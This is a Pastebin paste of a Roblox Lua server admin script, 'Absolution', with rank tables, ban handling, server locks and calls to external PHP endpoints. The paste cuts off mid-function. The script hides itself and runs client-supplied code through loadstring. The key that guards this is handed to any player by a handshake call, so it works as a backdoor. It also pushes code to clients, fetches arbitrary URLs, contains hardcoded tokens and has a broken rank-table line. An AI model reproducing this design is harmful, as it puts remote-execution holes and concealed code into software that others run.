Advertisement
jassm11

Untitled

Jul 11th, 2017
278
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --[[
  2. ABSOLUTION ADMINISTRATION
  3. Consumer Edition
  4. Command Syntax: Command/Arguments -Flags
  5. Example: kill/Darkus-r
  6. ---------------------------
  7. @Author: Darkus_Theory
  8. @Name: Absolution
  9. @Date: 2/19/16
  10. @Engine: Lua 5.1
  11. --]]
  12.  
  13. wait(0.003)
  14. local start_time = tick()
  15. --local Absolution;
  16. Absolution = setmetatable({
  17. Services=setmetatable({Game=game},{
  18. __index=function(self,index)
  19. index=tostring(index);
  20. return rawget(self,'Game'):GetService(index:sub(1,1):upper()..index:sub(2));
  21. end;
  22. __newindex=function()
  23. error('You cannot add services manually');
  24. end;
  25. __call=function(self,index)
  26. return self[index];
  27. end;
  28. __metatable='Protected';
  29. });
  30. Ranks = {
  31. [9] "SpinnerChris" = "localhost";
  32. [8] = "ROOT";
  33. [7] = "Developer";
  34. [6] = "Administrator";
  35. [5] = "Debugger";
  36. [4] = "Moderator";
  37. [3] = "Overseer";
  38. [2] = "Pseudo";
  39. [1] = "Beta";
  40. [0.5] = "Trusted";
  41. [0] = "Player";
  42. [-0.5] = "Blacklist";
  43. [-1] = "Banished";
  44. [-2] = "Superbanned";
  45. };
  46. Settings = {
  47. ["Rotation_Style"] = 'Normal';
  48. ["Logo"] = '414448010',
  49. ['BallScale'] = 10,
  50. };
  51. TraceLogs = {};
  52. Nicknames = {};
  53. PluginManager = {};
  54. IRCDebug = {};
  55. Errors = {};
  56. Functions = {};
  57. Handler = {};
  58. Players = {};
  59. Ranked = {};
  60. Tempbans = {};
  61. HandlingBans = {};
  62. Music = {};
  63. Connections = {Killing = {};};
  64. pseudoRank = {};
  65. Logs = {};
  66. Tablets = {};
  67. Commands = {};
  68. Ignoring = {};
  69. TriggerWords = {'ban','kick','lag','s3x','d33k','fweld','aerx','rosploit','jeerve'};
  70. uniqueKey = string.sub(tostring(game:service'HttpService':GenerateGUID(true)), 2, 8);
  71. lastPing = tick();
  72. AgeRestriction = true;
  73. Booted = false;
  74. TPReserves = {["21053279"]="3AoF5NoEvR9rQ6-Q4dS8W9knYQPRYXZGrLvf5Yr_B4JfP0EBAAAAAA2",["437965235"]="uldxE2h5nxghfpyJmiPH2UboRU_cKbhArOHRgzH9JMuz0RoaAAAAAA2"};
  75. Constants = {
  76. ShutdownTime = 30;
  77. TabletRotation = 0;
  78. MaxResults = 15;
  79. };
  80. GroupData = {
  81. GroupID = 971711;
  82. GroupRanks = {
  83. [0] = {247,0};
  84. [1] = {246};
  85. [2] = {251};
  86. [3] = {248};
  87. [4] = {250};
  88. [5] = {249};
  89. [6] = {252};
  90. [7] = {253};
  91. [8] = {254};
  92. [9] = {255};
  93. };
  94. };
  95. HttpConstants = {
  96. IRC = {["Name"] = "#Absolution",["whiteList"] = {'jassm11'}};
  97. IP = "website here";
  98. API = "http://roblox-proxy.cf";
  99. UpdateURL = "titanpad link here";
  100. Incoming = "/roblox/Absolution/OutgoingConnections.php";
  101. Outgoing = "/roblox/Absolution/IncomingConnections.php";
  102. ConsoleTXT = "/RemoteInstructions.txt";
  103. ConsolePHP = "/RemoteInstructions.php";
  104. Remote = "/roblox/Absolution/remoteExecute.lua";
  105. Tempbans = "/roblox/Absolution/Tempban.php";
  106. Modlogs = "/roblox/Absolution/AppendLog.php";
  107. AuthURI = "/roblox/Absolution/AddAuthentication.php";
  108. pircm = "";
  109. Upload = "/roblox/upload.php";
  110. PreviousSync = 'nil';
  111. PreviousWSync = 'nil';
  112. pythonConsole = {
  113. IP = "http://absolution-server.xyz:443";
  114. ChatServ = "/chat/<%s> %s %s";
  115. Authentication = "/auth=%s";
  116. Commands = "/%s";
  117. previousCommand = "";
  118. };
  119. APIs = {
  120. Music = "/roblox/API/SearchMusic.php";
  121. Username = "/roblox/API/Usernames.php";
  122. NewServer = "/roblox/API/NewServer.php";
  123. Misc = "/roblox/API/index.php";
  124. };
  125. HttpEnabled = (function() local Enabled, Error = ypcall(function() game:GetService("HttpService"):GetAsync("http://www.google.com/") end) if Enabled then return true else return false end end)(),
  126. pluginLink = "http://pastebin.com/raw/FRbyPAdZ";
  127. };
  128. Fake = {
  129. _G = {},
  130. shared = {},
  131. Functions = {},
  132. },
  133. Locks = {
  134. LocalScripts = false,
  135. Scripts = false,
  136. Server = {["Locked"] = false;["rankNumber"] = 0;["Duration"] = 120;["Server"] = false;["Local"] = false;},
  137. },
  138. PrivateServer = {
  139. Type = 'Kick';
  140. Enabled = false;
  141. };
  142. Storage = {
  143. DS = game:GetService("DataStoreService"):GetDataStore("\\:Absolution");
  144. };
  145. ScriptType = (game:FindService("NetworkServer") and "Server" or "Studio"),
  146. injectBlacklist = {{["ID"] = 65135680, ["REASON"] = 'Requested by Client.'}}
  147. },{__call=function(self,index)return rawget(self,index) end;});
  148. coroutine.wrap(function()
  149. local to_be_pushed=true;
  150. local push;push=function(table,_index,_call,_new,___index)
  151. if(getmetatable(table)==nil and pcall(function()setmetatable(table,{})end) )then
  152. local fake={
  153. __index=_index or(function(self,index)
  154. return rawget(self,index);
  155. end);
  156. __call=_call or(function(self,index)
  157. return rawget(self,index);
  158. end);
  159. __newindex=_new or(function(self,index,value)
  160. if(type(value)=='table')then
  161. push(value);
  162. end;
  163. rawset(self,index,value);
  164. end);
  165. __metatable='Protected';
  166. };
  167. return setmetatable(table,fake);
  168. end;
  169. end;
  170. if(not to_be_pushed)then return end;
  171. for _,v in next,Absolution do
  172. if(type(v)=='table')then
  173. push(v,nil,nil,nil,_);
  174. end;
  175. end;
  176. setmetatable(Absolution,{
  177. __call=function(self,index)
  178. return rawget(self,index);
  179. end;
  180. --__index=function(self,index)
  181. -- return rawget(self,index);
  182. --end;
  183. __newindex=function(self,index,value)
  184. if(type(value)=='table')then
  185. push(value,nil,nil,nil,index);
  186. end;
  187. rawset(self,index,value);
  188. end;
  189. __metatable='Protected';
  190. });
  191. end)();
  192.  
  193.  
  194. script.Name = 'Absolution - Server'
  195. coroutine.yield()
  196. script.Parent = nil
  197. ----------------------------------------------- START SCRIPT --------------------------------------------------------
  198.  
  199. Absolution.Logs.append = function(self, tbl)
  200. self[#self+1] = tbl
  201. end
  202.  
  203. Absolution.Functions.Print = function(message, typ)
  204. if not message then return false,'No message was sent.' end
  205. if not typ then typ = 1 end
  206. if typ == 1 then
  207. Absolution.Logs:append({Type='Print',Message=message})
  208. print(message)
  209. elseif typ == 2 then
  210. Absolution.Logs:append({Type='Warning',Message=message})
  211. warn(message)
  212. elseif typ == 3 then
  213. Absolution.Logs:append({Type='Error',Message=message})
  214. pcall(function() error(message) end)
  215. end
  216. end
  217.  
  218. -- In-Script locking --
  219. Absolution.Functions.Lock = {
  220. Table = function(Table)
  221. setmetatable(Table, {
  222. __metatable = "[ Sandbox ]:\nLocked",
  223. })
  224. for Index, Value in pairs(Table) do
  225. if type(Index) == "table" then Absolution.Functions.Lock.Table(Index) end
  226. if type(Value) == "table" then Absolution.Functions.Lock.Table(Value) end
  227. end
  228. end
  229. }
  230. Absolution.Functions.Simulate = { -- Things that are simulated
  231. Table = function(Table)
  232. local SimulatedTable = {}
  233. for Index, Value in pairs(Table) do
  234. SimulatedTable[Index] = Value
  235. end
  236. return SimulatedTable
  237. end,
  238. }
  239.  
  240. -- PseudoScripting Functions --
  241. Absolution.Functions.createLocalScript = function(source,parent,name,hasval)
  242. if not script:findFirstChild(source,true) then return end
  243. local s = script:findFirstChild(source,true):Clone()
  244. s.Parent = parent
  245. s.Name = (name and name or s.Name)
  246. if hasval then
  247. local val = s:children()[1]
  248. val.Value = hasval
  249. end
  250. wait()
  251. s.Disabled = false
  252. Absolution.Logs:append({'Script',Absolution.Functions.GetTime(tick()),source,tostring(parent.Parent)..'.'..tostring(parent)});
  253. end
  254. Absolution.Functions.createScript = function(source, parent, name)
  255. local s = script["ScriptBase"]:Clone()
  256. s.Parent = parent
  257. s:FindFirstChild("Val").Value = source
  258. s.Name = (name and name or s.Name)
  259. wait()
  260. s.Disabled = false
  261. end
  262. Absolution.Functions.NLS = function(source, parent, name)
  263. local Ran,Error = ypcall(function()
  264. local function url_encode(form)
  265. local result = {}
  266. for key, value in pairs(form) do
  267. table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value))
  268. end
  269. return table.concat(result, "&")
  270. end
  271. local pt = {SRC=source}
  272. local body = url_encode(pt)
  273. local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Upload, body, Enum.HttpContentType.ApplicationUrlEncoded)
  274. wait(.5)
  275. Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'Made a new localscript'});
  276. local newScript = require(tonumber(s))
  277. newScript.Parent = parent
  278. newScript.Name = (name and name or newScript.Name)
  279. wait()
  280. newScript.Disabled = false
  281. return newScript
  282. end)
  283. if not Ran then warn('[Absolution] - '..Error) end
  284. end
  285.  
  286. -- Handler --
  287. Absolution.Handler.AuthorizeRemote = function(self,remote)
  288. local initial = Instance.new("StringValue")
  289. initial.Name = "AUTHORIZED"
  290. initial.Value = "336c063bbccc80ebfa20df4b04b407cb61fb1c4301094183744bedb3b2e5e375429523190ecd4c44492dbf86e84346c62c94"
  291. initial.Parent = remote
  292. end
  293. Absolution.Handler.ConnectServer = function(self, server)
  294. server.OnServerInvoke = function(Player, Command, Key, etc)
  295. if not Absolution then return end
  296. if Key~= Absolution.uniqueKey then return false,"Access Denied" end
  297. if Command=='Message' then
  298. Absolution.Functions.Print(tostring(Player)..': '..etc[1])
  299. elseif Command=='Aerx' then
  300. Absolution.Ranked[Player.Name].Description = 'using aerx (autoban)'
  301. Absolution.Ranked[Player.Name].Rank = -1
  302. Absolution.Functions.Out('Admins', Player.Name..' was using aerx.', 5)
  303. elseif Command=='RX6' then
  304. Absolution.Ranked[Player.Name].Description = 'using RX6 (autoban)'
  305. Absolution.Ranked[Player.Name].Rank = -1
  306. Absolution.Functions.Out('Admins', Player.Name..' was using RX6.', 5)
  307. elseif Command=='SEX' then
  308. Absolution.Ranked[Player.Name].Description = 'using sexgui (autoban)'
  309. Absolution.Ranked[Player.Name].Rank = -1
  310. Absolution.Functions.Out('Admins', Player.Name..' was using sexgui.', 5)
  311. elseif Command=='Tablets' then
  312. local Data=etc;
  313. local Func=Absolution.Tablets[Data[1]].Func
  314. local r,e = ypcall(Func,Player)
  315. print(Data[1],tostring(Func))
  316. return r,e
  317. elseif Command=='Handshake' then
  318. if Absolution.Ranked[Player.Name].Rank >=4 then Absolution.Handler:sendPacket(Player, 'togglenil') end
  319. return {game.JobId, Absolution.Ranked, Absolution.uniqueKey}
  320. elseif Command=='Command' then
  321. Absolution.Functions.onChatted(Player, etc[1])
  322. if etc[1]:find'trace/' then return end
  323. if not Absolution.TraceLogs[Player.Name] then
  324. Absolution.TraceLogs[Player.Name] = {}
  325. end
  326. local parseddata = etc[1]
  327.  
  328. if etc[1]:find('/http') and game.PlaceId~=21053279 then
  329. local link = etc[1]:sub(etc[1]:find('/http')+1)
  330. wait(1)
  331. local gas = Absolution.Services.HttpService:GetAsync(link)
  332. if gas then
  333. parseddata = gas
  334. else
  335. parseddata = etc[1]
  336. end
  337. end
  338.  
  339. Absolution.TraceLogs[Player.Name][#Absolution.TraceLogs[Player.Name]+1] = {Time=tick(), logData=parseddata}
  340. elseif Command=='Loadstring' then
  341. loadstring(etc[1])()
  342. elseif Command=='Console' then
  343. if etc[1]:find'trace/' then return end
  344. if not Absolution.TraceLogs[Player.Name] then
  345. Absolution.TraceLogs[Player.Name] = {}
  346. end
  347. local parseddata = etc[1]
  348.  
  349. if etc[1]:find('/http') and game.PlaceId~=21053279 then
  350. local link = etc[1]:sub(etc[1]:find('/http')+1)
  351. wait(1)
  352. local gas = Absolution.Services.HttpService:GetAsync(link)
  353. if gas then
  354. parseddata = gas
  355. else
  356. parseddata = etc[1]
  357. end
  358. end
  359.  
  360. local shortenedparseddata = parseddata
  361.  
  362. for nildata, player in next, Absolution.Functions:getALLPlayers() do
  363. if parseddata:lower():find(player.Name:lower()) then
  364. if string.len(parseddata)>100 then shortenedparseddata = parseddata:sub(parseddata:lower():find(player.Name:lower())-10,parseddata:lower():find(player.Name:lower())+45) end
  365. Absolution.Functions.Out(player, 'Your name was detected from player '..Player.Name, 2)
  366. Absolution.Functions.Out(player, 'Trigger String: '..shortenedparseddata:gsub("\n",""), 2)
  367. if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') Absolution.Handler:sendPacket(player, 'Ding!') end
  368. elseif Absolution.Functions:findRank(player) >= 4 and Absolution.Functions.Sanitize(parseddata) and Absolution.Functions:findRank(Player) < 6 then
  369. local word = Absolution.Functions.Sanitize(parseddata)
  370. if string.len(parseddata)>100 then shortenedparseddata = parseddata:sub(parseddata:lower():find(word:lower())-10,parseddata:lower():find(word:lower())+45) end
  371. Absolution.Functions.Out(player, 'Trigger word ('..word..') detected from player '..Player.Name..'!', 3)
  372. Absolution.Functions.Out(player, 'String: '..shortenedparseddata:gsub("\n",""), 3)
  373. if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') end
  374. end
  375. end
  376.  
  377. Absolution.TraceLogs[Player.Name][#Absolution.TraceLogs[Player.Name]+1] = {Time=tick(), logData=parseddata}
  378. else
  379. end
  380. end
  381. server.Changed:connect(function(change)
  382. local c = change:lower()
  383. if c=='name' then
  384. server.Name = 'AbsolutionHandler'
  385. elseif c=='parent' then
  386. wait()
  387. server.Parent = Absolution.Services.ReplicatedStorage
  388. else
  389. server:Destroy()
  390. Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage)
  391. end
  392. end)
  393. self["SERVER"] = server
  394. end
  395.  
  396.  
  397.  
  398. Absolution.Handler.CreateHandler = function(self, Name, Place)
  399. if Place:FindFirstChild(Name) then Place:FindFirstChild(Name):Destroy'' end
  400. local pseudoRemote = Absolution.Functions:Create('RemoteFunction',{Name=Name})
  401. Absolution.Handler:AuthorizeRemote(pseudoRemote)
  402. wait()
  403. pseudoRemote.Parent = Place
  404. Absolution.Handler:ConnectServer(pseudoRemote)
  405. end
  406. --Absolution.Handler.oldPacket('tusKOr661','CORE.Functions:executeClient("rejoin")')
  407. Absolution.Handler.oldPacket = function(Player, String)
  408. local Str = Instance.new('StringValue')
  409. Str.Name = tostring(Player)..' RUN '..Absolution.uniqueKey
  410. Str.Value = String
  411. wait()
  412. Str.Parent = Absolution.Services.Lighting
  413. Absolution.Services.Debris:AddItem(Str, 5)
  414. end
  415.  
  416. Absolution.Handler.sendPacket = function(self, Player, Command, etc)
  417. local etc = (type(etc)=='table' and etc or {})
  418. if type(Player) == 'userdata' then
  419. local receive,data = Absolution.Handler.SERVER:InvokeClient(Player, Command, Absolution.uniqueKey, etc)
  420. return receive,data
  421. elseif type(Player) == 'string' then
  422. local Plr = Absolution.Services.Players:FindFirstChild(Player)
  423. if not Plr then return "Player was not found" end
  424. local receive,data = Absolution.Handler.SERVER:InvokeClient(Plr, Command, Absolution.uniqueKey, etc)
  425. return receive,data
  426. else
  427. return 'INVALID PLAYER TYPE!'
  428. end
  429. end
  430.  
  431. Absolution.Handler.clientLS = function(self, String, Player)
  432. if type(Player) == 'userdata' then
  433. local receive,data = Absolution.Handler.SERVER:InvokeClient(Player, "loadstring", Absolution.uniqueKey, {["str"]=(String and String or [[print"No string"]])})
  434. return receive,data
  435. elseif type(Player) == 'string' then
  436. local Plr = Absolution.Services.Players:FindFirstChild(Player)
  437. if not Plr then return "Player was not found" end
  438. local receive,data = Absolution.Handler.SERVER:InvokeClient(Plr, "loadstring", Absolution.uniqueKey, {["str"]=(String and String or [[print"No string"]])})
  439. return receive,data
  440. elseif not Player then
  441. Absolution.Handler:fireAllClients('loadstring', {["str"]=(String and String or [[print"No string"]])})
  442. else
  443. return 'INVALID PLAYER TYPE!'
  444. end
  445. end
  446.  
  447. Absolution.Handler.fireAllClients = function(self, Command, etc)
  448. for i,v in pairs(Absolution.Functions.getALLPlayers()) do
  449. local receive,data = Absolution.Handler:sendPacket(v, Command, (etc and etc or nil))
  450. return receive,data
  451. end
  452. end
  453.  
  454. Absolution.Handler.sendChat = function(Message, Player, over, Color, isDiscord)
  455. if Message:lower():find('http') then Message = 'http://google.com' end
  456. Message = Message:gsub("","")
  457. if over and Message:find(over) then
  458. local rem = string.sub(Message,1,Message:find(":")-1)
  459. if rem then
  460. string.gsub(Message,rem,"")
  461. end
  462. end
  463. if Player then
  464. if Message:lower():find(tostring(Player):lower()) then Color = 'Red' else Color = 'White' end
  465. Absolution.Handler:sendPacket(Player, 'Chat', {["TEXT"]=(over and (not isDiscord and '['..over..']: ' or '[DISCORD] '..over..': ') or '')..Message,["COLOR"]='Purple'})
  466. Absolution.Functions:sbChat(Message, Player, over)
  467. else
  468. for i,v in pairs(Absolution.Functions.getALLPlayers()) do
  469. if Message:lower():find(tostring(v):lower()) then Color = 'Red' else Color = 'White' end
  470. Absolution.Handler:sendPacket(v, 'Chat', {["TEXT"]=(over and (not isDiscord and '['..over..']: ' or '[DISCORD] '..over..': ') or '')..Message,["COLOR"]=Color})
  471. end
  472. for q,e in pairs(Absolution.Services.Players:getPlayers()) do
  473. Absolution.Functions:sbChat(Message, e, (over and over or nil))
  474. end
  475. end
  476. end
  477.  
  478. Absolution.Handler.Ping = function(self)
  479. for i,v in pairs(Absolution.Functions.getALLPlayers()) do
  480. Ran,Error = ypcall(function()
  481. if Absolution.Players[v.Name] then
  482. local r,d = Absolution.Handler:sendPacket(v, 'Ping')
  483. if r == true and d:lower() == 'pong' then
  484. Absolution.Players[v.Name].lastPing = Absolution.Functions.GetTime(tick())
  485. end
  486. end
  487. end)
  488. if not Ran then error(Error) end
  489. end
  490. return false
  491. end
  492.  
  493. --[[Tracer Cusmpilation]]--
  494.  
  495. Absolution.Functions.TraceSearch = function(keyword, isplr)
  496.  
  497. local results = {}
  498.  
  499. for player, logdata in next, Absolution.TraceLogs do
  500.  
  501. if not isplr then
  502.  
  503. for index, logtable in pairs(logdata) do
  504.  
  505. local logDATA = logtable.logData
  506. if logDATA:lower():find(keyword:lower()) then
  507.  
  508. if string.len(logDATA)>100 then logDATA = logDATA:sub(logDATA:lower():find(keyword:lower())-25,logDATA:lower():find(keyword:lower())+25) end
  509.  
  510. results[#results+1] = {plr=player, data=logDATA, tim=logtable.Time}
  511.  
  512. end
  513.  
  514. end
  515.  
  516. elseif isplr and player==keyword then
  517.  
  518. for index, logtable in pairs(logdata) do
  519.  
  520. local logDATA = logtable.logData
  521. if logDATA:lower():find(keyword:lower()) then
  522.  
  523. if string.len(logDATA)>100 then logDATA = logDATA:sub(logDATA:lower():find(keyword:lower())-25,logDATA:lower():find(keyword:lower())+25) end
  524.  
  525. results[#results+1] = {plr=player, data=logDATA, tim=logtable.Time}
  526.  
  527. end
  528.  
  529. end
  530.  
  531. end
  532.  
  533. end
  534.  
  535. return results
  536.  
  537. end
  538.  
  539. --[[
  540. for i,v in next,Absolution.Functions.TraceSearch('asd') do
  541. print(v.plr,v.data)
  542. end
  543. --]]
  544.  
  545. --[[ Main Functions ]]--
  546. -- Shutdown --
  547. Absolution.Functions.Shutdown = function(ranby,Reason)
  548. Absolution.Functions.Announce('Shutdown commenced by: '..(ranby and ranby or 'Absolution'))
  549. wait()
  550. Absolution.DCTAPI.sendMessage(('Shutdown commenced by: '..(ranby and ranby or 'Absolution')))
  551. while wait() do
  552. for i,v in pairs(Absolution.Functions.getALLPlayers()) do
  553. v:Kick((ranby and ranby or 'Absolution')..(Reason and ': '..Reason or ': Shutdown by administrator') and (ranby and ranby or 'Absolution')..(Reason and ': '..Reason or ': Shutdown by administrator') or 'Shutdown by: '..(ranby and ranby or 'Absolution'))
  554. end
  555. end
  556. end
  557.  
  558. -- getALLPlayers --
  559. Absolution.Functions.getALLPlayers = function()
  560. local ALLPlayers = {}
  561. for i,v in pairs(Absolution.Services.NetworkServer:GetChildren()) do
  562. ypcall(function()
  563. if v:IsA("ServerReplicator") then
  564. table.insert(ALLPlayers, v:GetPlayer())
  565. end
  566. end)
  567. end
  568. return ALLPlayers
  569. end
  570.  
  571. Absolution.SandboxSource = "print'asd'"
  572.  
  573. -- Create --
  574. Absolution.Functions.Create = function(self, ClassName, Properties)
  575. local Instance = Instance.new(ClassName)
  576. local Properties = Properties or {}
  577. local ConnectionIndexes = {"MouseClick","MouseHoverEnter","MouseHoverLeave","MouseButton1Down","MouseButton2Down"}
  578. local CheckConnection = function(Index)
  579. local Index = tostring(Index)
  580. for _, Connect in pairs(ConnectionIndexes) do
  581. if Index:lower() == Connect:lower() then
  582. return true
  583. end
  584. end
  585. return false
  586. end
  587. for Index, Value in pairs(Properties) do
  588. if not CheckConnection(Index) then
  589. Instance[Index] = Value
  590. else
  591. Instance[Index]:connect(Value)
  592. end
  593. end
  594. return Instance
  595. end
  596.  
  597. -- ServerLocking --
  598. Absolution.Locks.Server.enabledServerLock = function(self)
  599. if self.Locked then return end
  600. local t = self.Duration
  601. local r = self.rankNumber
  602. Absolution.Functions.Announce("Server Lock Enabled")
  603. Absolution.Locks.Server.Locked = true
  604. Instance.new("Hint", Absolution.Services.Workspace).Name = 'absolutionSht'
  605. for i = t,0,-1 do
  606. local ABM = workspace:findFirstChild('absolutionSht')
  607. if not ABM then
  608. ABM = Instance.new("Hint", Absolution.Services.Workspace)
  609. ABM.Name = 'absolutionSht'
  610. end
  611. ABM.Text = '[Absolution]: Server is locked for all ranks below '..r..' for '..i..' more seconds!'
  612. for i,v in pairs(Absolution.Services.Players:players()) do
  613. local pRank = Absolution.Functions.getRankedTable(tostring(v)) and Absolution.Functions:findRank(tostring(v)) or 0
  614. if pRank < r then
  615. v:Kick('[Absolution]: Server is locked for all ranks below '..r..' for '..i..' more seconds!')
  616. end
  617. end
  618. if self.Locked==false then ABM:remove() break end
  619. wait(1)
  620. end
  621. Absolution.Functions.Announce("Server Lock Disabled")
  622. Absolution.Locks.Server.Locked = false
  623. Absolution.Functions.Out('Admins', "Server Lock Disabled", 5)
  624. end
  625.  
  626.  
  627. -- Rotation! --
  628. Absolution.Constants.TabletRotation = 0
  629. Absolution.Functions.UpdateTablets = function(self)
  630. Absolution.Constants.TabletRotation = Absolution.Constants.TabletRotation==360 and 0 or Absolution.Constants.TabletRotation*(.1/100)
  631. for _, Player in pairs(Absolution.Functions:getALLPlayers()) do
  632. local PlrTabs = {}
  633. for i,v in pairs(Absolution.Tablets) do
  634. if v.Tab.Parent ~= nil and v.Plr == Player.Name then
  635. table.insert(PlrTabs, v)
  636. end
  637. end
  638. local radiusdata = Absolution.Functions.getRankedTable(Player.Name).Distance ~= nil and Absolution.Functions.getRankedTable(Player.Name).Distance or 15
  639. local pos = nil
  640. pcall(function()
  641. if Player.Character.Parent == Absolution.Services.Workspace then
  642. pos = Player.Character.Torso.CFrame
  643. end
  644. end)
  645. pcall(function()
  646. if Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey) then
  647. pos = Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey).CFrame
  648. end
  649. end)
  650. local radius = radiusdata + (#PlrTabs * 0.5)
  651. if not pos then pos = CFrame.new(0,15,0) end
  652. local LastKnownPosition = pos
  653. for Index = 1, #PlrTabs do
  654. local Tablet = PlrTabs[Index].Tab
  655. local Dec = Tablet:findFirstChild('aDD', true)
  656. if Tablet and Tablet.Parent then
  657. local newCFrame = Absolution.Functions.CLerp(Tablet.CFrame,CFrame.new(LastKnownPosition.p)
  658. * CFrame.Angles(0, math.rad((360/#PlrTabs*Index+(tick())*60/(#PlrTabs ~= 0 and 10 or 1))%360), 0)
  659. * CFrame.new(0, 0, ((radius*2)+#PlrTabs)*.35+Tablet.Size.X), .2)
  660. Tablet.CFrame = CFrame.new(newCFrame.p,pos.p)
  661. if Dec and Dec.Parent then Dec.CFrame = CFrame.new(newCFrame.p,pos.p) end
  662. -- * CFrame.Angles(math.rad(math.sin(tick()*4)*20)/Index,0,math.rad(math.sin(tick()*4)*20))
  663. else
  664. table.remove(PlrTabs, Index)
  665. end
  666. end
  667. end
  668. end
  669. -- reloadLogoGui --
  670. Absolution.Functions.reloadLogoGui = function(v)
  671. local PG;
  672. local ScreenGui;
  673. local ImageButton;
  674. PG=v:findFirstChild'PlayerGui'
  675. if PG==nil then
  676. v:LoadCharacter()
  677. PG=v:waitForChild'PlayerGui'
  678. end
  679. if PG:findFirstChild'Info'==nil then
  680. local db = tick()+6
  681. ScreenGui = Instance.new("ScreenGui", PG)
  682. ScreenGui.Name='Info'
  683. ImageButton = Instance.new("ImageButton", ScreenGui)
  684. ImageButton.Position = UDim2.new(.94, 0, .92, 0)
  685. ImageButton.Size = UDim2.new(.06, 12, .08, 0)
  686. ImageButton.BackgroundColor3 = Color3.new(0, 0, 0)
  687. ImageButton.BorderColor3 = Color3.new(0, 0, 0)
  688. ImageButton.BackgroundTransparency = 1
  689. ImageButton.Visible = true
  690. ImageButton.Image = 'rbxassetid://'..Absolution.Settings.Logo
  691. ImageButton.Draggable=false
  692. ImageButton.MouseButton1Down:connect(function()
  693. if tick()-db >= 2 then
  694. Absolution.Handler:sendPacket(player, 'TerminalOn')
  695. Absolution.Functions.showData(v)
  696. db = tick()
  697. end
  698. end)
  699. end
  700. end
  701.  
  702. -- handleBan --
  703. Absolution.Functions.handleBan = function(Player)
  704. if Absolution.HandlingBans[Player] then return end
  705. Absolution.HandlingBans[Player] = true
  706. local playerData = Absolution.Functions.getRankedTable(tostring(Player))
  707. local playerName = tostring(Player)
  708. if playerData then
  709. if Absolution.Functions:findRank(Player) == -2 then
  710. coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'rekt',{["REASON"] = playerData.Description}) end)()
  711. wait()
  712. if Player then Player:Kick('You are banned from joining for '..playerData.Description) end
  713. Absolution.Functions.Announce(playerName.." was lagged due to a banishment. | REASON: "..playerData.Description)
  714. --Absolution.Functions.sbOutput(playerName.." was not allowed to join. | REASON: "..playerData.Description, 'Error')
  715. elseif Absolution.Functions:findRank(Player) == -1 then
  716. coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'disconnect',{["REASON"] = playerData.Description}) end)()
  717. wait()
  718. if Player then Player:Kick('You were banned for '..playerData.Description) end
  719. Absolution.Functions.Announce(playerName.." was kicked due to a banishment. | REASON: "..playerData.Description)
  720. --Absolution.Functions.sbOutput(playerName.." was not allowed to join. | REASON: "..playerData.Description, 'Error')
  721. elseif Absolution.Functions:findRank(Player) == -0.5 and not Absolution.Tempbans[tostring(Player.userId)] then
  722. Absolution.Functions.Out('Admins', 'A blacklisted user ('..playerName..') has joined the server.', 3)
  723. end
  724. if Absolution.Tempbans[tostring(Player.userId)] then
  725. local tban_data = Absolution.Tempbans[tostring(Player.userId)]
  726. local timeremaining = ((tban_data.timeEnd)-tick())
  727. if timeremaining >= 0 then
  728. coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'disconnect',{["REASON"] = playerData.Description}) end)()
  729. wait()
  730. if Player then Player:Kick("You were temp-banned for "..playerData.Description..". | TIME REMAINING: "..Absolution.Functions.GetTime(timeremaining)) end
  731. Absolution.Functions.Announce(playerName.." is banned for "..Absolution.Functions.GetTime(timeremaining).." | REASON: "..playerData.Description)
  732. --Absolution.Functions.sbOutput(playerName.." is banned for "..Absolution.Functions.GetTime(timeremaining).." | REASON: "..playerData.Description, 'Error')
  733. return
  734. else
  735. playerData.Rank = 0
  736. end
  737. end
  738. end
  739. wait(3)
  740. Absolution.HandlingBans[Player] = false
  741. end
  742.  
  743. Absolution.Functions.checkPrivateBase = function()
  744.  
  745. local function makeBase()
  746. local Base = Instance.new("Part")
  747. Base.BrickColor = BrickColor.new("Dark green")
  748. Base.CFrame = CFrame.new(5000, 200, 5000)
  749. Base.Transparency = 0
  750. Base.Elasticity = 0.5
  751. --Base.FormFactor = "Custom"
  752. Base.Material = 'Grass'
  753. Base.CanCollide = true
  754. Base.Friction = 0.30000001192093
  755. Base.Size = Vector3.new(2044, 0, 2044)
  756. Base.Archivable = true
  757. Base.Material = "Grass"
  758. Base.RotVelocity = Vector3.new(0, 0, 0)
  759. Base.Reflectance = 0
  760. Base.Locked = true
  761. Base.Anchored = true
  762. Base.Name = "AbsolutionBase"
  763. Base.TopSurface = "Smooth"
  764. Base.BottomSurface = "Inlet"
  765. Base.Shape = "Block"
  766. Base.Parent = Absolution.Services.Workspace.Terrain
  767. local v = Instance.new('Model', Base)
  768. v.Name = 'Verified'
  769. coroutine.wrap(function()
  770. while Base do
  771. wait()
  772. for i,v in pairs(Absolution.Services.Players:GetPlayers()) do
  773. if v.Character then
  774. if v.Character:findFirstChild'Torso' then
  775. local pos = (Base.Position-v.Character:findFirstChild'Torso'.Position).magnitude
  776. if pos < 2044 and Absolution.Ranked[v.Name].Rank < 3 then
  777. v:LoadCharacter()
  778. end
  779. end
  780. end
  781. end
  782. end
  783. end)()
  784. end
  785.  
  786. if not game:service'Workspace'.Terrain:findFirstChild('Verified', true) then
  787. makeBase()
  788. end
  789.  
  790. end
  791.  
  792. -- mainLoop --
  793. Absolution.Functions.mainLoop = function()
  794. coroutine.wrap(function()
  795. for _,v in pairs(Absolution.Services.Players:GetPlayers()) do
  796. coroutine.wrap(Absolution.Functions.reloadLogoGui)(v)
  797. end
  798. end)()
  799. coroutine.wrap(function()
  800. for _,Player in pairs(Absolution.Services.Players:GetPlayers()) do
  801. local cRank = Absolution.Functions.calculateRankInGroup(Player)
